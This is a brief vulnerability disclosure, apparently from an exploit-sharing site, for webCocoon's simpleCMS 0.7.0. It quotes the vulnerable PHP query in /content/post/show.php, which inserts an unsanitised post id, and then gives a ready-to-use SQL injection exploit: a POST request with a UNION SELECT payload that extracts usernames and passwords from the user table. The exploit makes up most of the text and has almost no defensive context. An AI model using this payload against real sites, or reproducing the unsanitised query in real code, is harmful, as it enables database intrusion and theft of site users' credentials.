webCocoon's simpleCMS Web site : http://webcocoon.wordpress.com Version : 0.7.0
SQL Injection
Vuln file: /content/post/show.php [str:3]
PHP код:
//Show post
$get_post = mysql_query("SELECT*FROM post WHERE post_id = '$id' AND status = 'published'");
$post_result = mysql_num_rows($get_post);
$post = mysql_fetch_array($get_post);
Exploit:
if magic_quotes = OFF
Код:
POST http://[host]/[path]/index.php HTTP/1.0
Content-type: application/x-www-form-urlencoded
id=xek' union select null,concat_ws(0x3a,username,password),null,null,null,null,null,null,null,null,null,null,null,null,null,null from user -- &mode=post&gfile=show